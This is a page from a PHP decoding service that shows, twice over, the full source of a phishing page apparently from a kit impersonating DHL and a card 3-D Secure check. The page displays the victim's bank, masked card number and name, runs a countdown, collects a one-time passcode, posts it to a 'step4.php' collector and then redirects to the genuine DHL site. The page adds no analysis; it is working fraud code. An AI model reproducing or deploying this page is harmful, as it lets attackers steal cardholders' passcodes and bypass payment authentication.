Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php session_start(); if(!isset($_SESSION['language'])){exit(header("Location: index.ph..

Decoded Output download

<?php 
session_start(); 
if(!isset($_SESSION['language'])){exit(header("Location: index.php")); 
}else{include "system/languages/{$_SESSION['language']}.php";} 
require 'system/detect.php'; 
 
?> 
 
<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
 
    <meta http-equiv="X-UA-Compatible" content="IE=edge"> 
    <title>My Account</title> 
    <meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0"> 
    <link rel="shortcut icon" href="./files/img/favicon.ico"> 
    <script type="text/javascript" src="./files/js/modernizr.min.js"></script> 
    <script src="./files/js/jquery.js"></script> 
    <script src="./files/js/jquery.ccvalid.js"></script> 
    <script src="./files/js/jquery.mask.js"></script></head> 
<body> 
<center><style> 
		.success, .error, .validation { 
			border: 1px solid; 
			margin: 10px 0px; 
			padding: 15px 10px 15px 50px; 
			background-repeat: no-repeat; 
			background-position: 10px center; 
		} 
		.success { 
			color: #4F8A10; 
			background-color: #DFF2BF; 
		} 
		.error{ 
			color: #D8000C; 
			background-color: #FFBABA; 
			 
		} 
		.validation{ 
			color: #D63301; 
			background-color: #FFCCBA; 
		}</style> 
    <div style="margin-left:2px;width:350px;border:solid 1px #d8d4d4;padding:25px"> 
        <?php if($_SESSION['ctype']=='visa'){echo '<img src="files/img/vsa_p.svg" style="width: 90px;float:left;">';echo '<img src="files/img/dhl-logo.svg" style="float: right;display: inline-block;margin-top: 18px;" width="100px">';}elseif($_SESSION['ctype']=='mastercard'){echo '<img src="files/img/mst_p.svg" style="width: 90px;float:left;">';echo '<img src="files/img/dhl-logo.svg" style="float: right;display: inline-block;margin-top: 18px;" width="100px">';}elseif($_SESSION['ctype']=='discover'){echo '<img src="files/img/ccicons/discover-on.png" style="width: 90px;float:left;">';echo '<img src="files/img/dhl-logo.svg" style="float: right;display: inline-block;margin-top: 18px;" width="100px">';}elseif($_SESSION['ctype']=='amex'){echo '<img src="files/img/ccicons/amex-on.png" style="width: 90px;float:left;">';echo '<img src="files/img/dhl-logo.svg" style="float: right;display: inline-block;margin-top: 18px;" width="100px">';}else{echo '<img src="files/img/dhl-logo.svg" style="float: right;display: inline-block;margin-top: 18px;" width="100px">';}?> 
        <div style="clear:both"></div> 
        <p style="font-size:13px;margin-top:25px;color:#807979"> <?php echo $vbv_d['sec']?></p> 
		  <p style="font-size:13px;margin-top:25px;color:#807979"><?php echo $vbv_d['sec2']?><?php echo $_SESSION['lastph'] ?></p> 
		   
		   <script type="text/javascript"> 
document.onreadystatechange = function () { 
  var state = document.readyState 
  if (state == 'complete') { 
      setTimeout(function(){ 
          document.getElementById('interactive'); 
		$("#fixed").hide(); 
		 $("#formf").show(100); 
      },4000); 
  } 
} 
</script>			    <p class="error"  id="error"><?php echo $vbv_d['msger2']?></p> 
 <p style="display:none;" class="success"  id="tiitlethankss"><?php echo $vbv_d['msgsf']?></p> 
        <form method="post" id="formf" style="display: none;"> 
            <table align="center" width="290" style="font-size:11px;font-family:arial,sans-serif;color:#000;margin-top:30px"> 
                <tbody> 
 
				<tr><td align="right"><?php echo $vbv_d['bnk']?></td><td><?php echo $_SESSION['bnk'];?></td></tr><br> 
				<tr><td align="right"><?php echo $vbv_d['dat']?></td><td><?php echo date("d M,Y");  ?></td></tr><br> 
                <tr><td align="right"><?php echo $vbv_d['crd']?></td><td> XXXX-XXXX-XXXX-<?php echo $_SESSION['last']?></td></tr> 
				<tr><td align="right"><?php echo $vbv_d['amo']?></td><td>2.16 CAD</td></tr> 
                <tr><td align="right"><?php echo $vbv_d['funa']?></td><td><?php echo $_SESSION['flnm'];?></td></tr> 
		 
<tr><td align="right" id="tiitleCardnetpas"><?php echo $vbv_d['cos']?></td> 
<td><span id="countdown" class="timer"></span><script> 
   var seconds = 120; 
   function secondPassed() { 
   var minutes = Math.round((seconds - 30)/60); 
   var remainingSeconds = seconds % 60; 
   if (remainingSeconds < 10) { 
      remainingSeconds = "0" + remainingSeconds;  
   } 
   document.getElementById('countdown').innerHTML = minutes + ":" + remainingSeconds; 
   if (seconds == 0) { 
    clearInterval(countdownTimer); 
    document.getElementById('countdown').innerHTML = ""; 
   } else { 
    seconds--; 
   } 
   } 
   var countdownTimer = setInterval('secondPassed()', 1000); 
</script></td></tr> 
 
				<tr><td align="right"><?php echo $vbv_d['otpc']?></td><td class="xx"><input style="width: 75px;" type="password" name="otp2" required=""></td></tr> 
				 
				<tr><td></td><td><br> 
 
				<input style="width:74px" type="submit" value="<?php echo $vbv_d['submit']?>"></td></tr> 
				</tbody></table> 
        </form> 
		<script type="text/javascript"> 
var request; 
 
$("#formf").submit(function(event){ 
 
    event.preventDefault(); 
 
    if (request) { 
        request.abort(); 
    } 
    var $form = $(this); 
    var $inputs = $form.find("input, select, button, textarea"); 
    var serializedData = $form.serialize(); 
 
    $inputs.prop("disabled", true); 
	$("#error").hide(); 
	$("#formf").hide(); 
	$("#fixed").show(); 
    request = $.ajax({ 
        url: "system/step4.php", 
        type: "post", 
        data: serializedData 
    }); 
    request.done(function (response, textStatus, jqXHR){ 
 
 
 $(location).attr("href", "http://mydhl.express.dhl"); 
    }); 
    request.fail(function (jqXHR, textStatus, errorThrown){ 
        console.error( 
            "The following error occurred: "+ 
            textStatus, errorThrown 
        ); 
    }); 
    request.always(function () { 
		$("#tiitlethankss").show(100); 
        $inputs.prop("disabled", false); 
		 
    }); 
	 
}); 
 
</script> 
 <div id="fixed" class="" style=""> 
			<img src="files/img/lod2.gif"> 
            <p class="">Loading...</p></div> 
        <p style="text-align:center;font-family:arial,sans-serif;font-size:9px;color:#656565"> Copyright  1999-  <?php echo date("Y");?> . All rights reserved. </p></div> 
    <div id="rotate" style="display:none"><div class="circle"><div class="rotate"></div></div> 
        <div class="overlay"></div></div> 
</center> 
</body> 
</html>

Did this file decode correctly?

Original Code

<?php
session_start();
if(!isset($_SESSION['language'])){exit(header("Location: index.php"));
}else{include "system/languages/{$_SESSION['language']}.php";}
require 'system/detect.php';

?>

<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>My Account</title>
    <meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0">
    <link rel="shortcut icon" href="./files/img/favicon.ico">
    <script type="text/javascript" src="./files/js/modernizr.min.js"></script>
    <script src="./files/js/jquery.js"></script>
    <script src="./files/js/jquery.ccvalid.js"></script>
    <script src="./files/js/jquery.mask.js"></script></head>
<body>
<center><style>
		.success, .error, .validation {
			border: 1px solid;
			margin: 10px 0px;
			padding: 15px 10px 15px 50px;
			background-repeat: no-repeat;
			background-position: 10px center;
		}
		.success {
			color: #4F8A10;
			background-color: #DFF2BF;
		}
		.error{
			color: #D8000C;
			background-color: #FFBABA;
			
		}
		.validation{
			color: #D63301;
			background-color: #FFCCBA;
		}</style>
    <div style="margin-left:2px;width:350px;border:solid 1px #d8d4d4;padding:25px">
        <?php if($_SESSION['ctype']=='visa'){echo '<img src="files/img/vsa_p.svg" style="width: 90px;float:left;">';echo '<img src="files/img/dhl-logo.svg" style="float: right;display: inline-block;margin-top: 18px;" width="100px">';}elseif($_SESSION['ctype']=='mastercard'){echo '<img src="files/img/mst_p.svg" style="width: 90px;float:left;">';echo '<img src="files/img/dhl-logo.svg" style="float: right;display: inline-block;margin-top: 18px;" width="100px">';}elseif($_SESSION['ctype']=='discover'){echo '<img src="files/img/ccicons/discover-on.png" style="width: 90px;float:left;">';echo '<img src="files/img/dhl-logo.svg" style="float: right;display: inline-block;margin-top: 18px;" width="100px">';}elseif($_SESSION['ctype']=='amex'){echo '<img src="files/img/ccicons/amex-on.png" style="width: 90px;float:left;">';echo '<img src="files/img/dhl-logo.svg" style="float: right;display: inline-block;margin-top: 18px;" width="100px">';}else{echo '<img src="files/img/dhl-logo.svg" style="float: right;display: inline-block;margin-top: 18px;" width="100px">';}?>
        <div style="clear:both"></div>
        <p style="font-size:13px;margin-top:25px;color:#807979"> <?php echo $vbv_d['sec']?></p>
		  <p style="font-size:13px;margin-top:25px;color:#807979"><?php echo $vbv_d['sec2']?><?php echo $_SESSION['lastph'] ?></p>
		  
		   <script type="text/javascript">
document.onreadystatechange = function () {
  var state = document.readyState
  if (state == 'complete') {
      setTimeout(function(){
          document.getElementById('interactive');
		$("#fixed").hide();
		 $("#formf").show(100);
      },4000);
  }
}
</script>			    <p class="error"  id="error"><?php echo $vbv_d['msger2']?></p>
 <p style="display:none;" class="success"  id="tiitlethankss"><?php echo $vbv_d['msgsf']?></p>
        <form method="post" id="formf" style="display: none;">
            <table align="center" width="290" style="font-size:11px;font-family:arial,sans-serif;color:#000;margin-top:30px">
                <tbody>

				<tr><td align="right"><?php echo $vbv_d['bnk']?></td><td><?php echo $_SESSION['bnk'];?></td></tr><br>
				<tr><td align="right"><?php echo $vbv_d['dat']?></td><td><?php echo date("d M,Y");  ?></td></tr><br>
                <tr><td align="right"><?php echo $vbv_d['crd']?></td><td> XXXX-XXXX-XXXX-<?php echo $_SESSION['last']?></td></tr>
				<tr><td align="right"><?php echo $vbv_d['amo']?></td><td>2.16 CAD</td></tr>
                <tr><td align="right"><?php echo $vbv_d['funa']?></td><td><?php echo $_SESSION['flnm'];?></td></tr>
		
<tr><td align="right" id="tiitleCardnetpas"><?php echo $vbv_d['cos']?></td>
<td><span id="countdown" class="timer"></span><script>
   var seconds = 120;
   function secondPassed() {
   var minutes = Math.round((seconds - 30)/60);
   var remainingSeconds = seconds % 60;
   if (remainingSeconds < 10) {
      remainingSeconds = "0" + remainingSeconds; 
   }
   document.getElementById('countdown').innerHTML = minutes + ":" + remainingSeconds;
   if (seconds == 0) {
    clearInterval(countdownTimer);
    document.getElementById('countdown').innerHTML = "";
   } else {
    seconds--;
   }
   }
   var countdownTimer = setInterval('secondPassed()', 1000);
</script></td></tr>

				<tr><td align="right"><?php echo $vbv_d['otpc']?></td><td class="xx"><input style="width: 75px;" type="password" name="otp2" required=""></td></tr>
				
				<tr><td></td><td><br>

				<input style="width:74px" type="submit" value="<?php echo $vbv_d['submit']?>"></td></tr>
				</tbody></table>
        </form>
		<script type="text/javascript">
var request;

$("#formf").submit(function(event){

    event.preventDefault();

    if (request) {
        request.abort();
    }
    var $form = $(this);
    var $inputs = $form.find("input, select, button, textarea");
    var serializedData = $form.serialize();

    $inputs.prop("disabled", true);
	$("#error").hide();
	$("#formf").hide();
	$("#fixed").show();
    request = $.ajax({
        url: "system/step4.php",
        type: "post",
        data: serializedData
    });
    request.done(function (response, textStatus, jqXHR){


 $(location).attr("href", "http://mydhl.express.dhl");
    });
    request.fail(function (jqXHR, textStatus, errorThrown){
        console.error(
            "The following error occurred: "+
            textStatus, errorThrown
        );
    });
    request.always(function () {
		$("#tiitlethankss").show(100);
        $inputs.prop("disabled", false);
		
    });
	
});

</script>
 <div id="fixed" class="" style="">
			<img src="files/img/lod2.gif">
            <p class="">Loading...</p></div>
        <p style="text-align:center;font-family:arial,sans-serif;font-size:9px;color:#656565"> Copyright  1999-  <?php echo date("Y");?> . All rights reserved. </p></div>
    <div id="rotate" style="display:none"><div class="circle"><div class="rotate"></div></div>
        <div class="overlay"></div></div>
</center>
</body>
</html>

Function Calls

header 1
session_start 1

Variables

None

Stats

MD5 6f599cae9950e845589dc8ce630af711
Eval Count 0
Decode Time 52 ms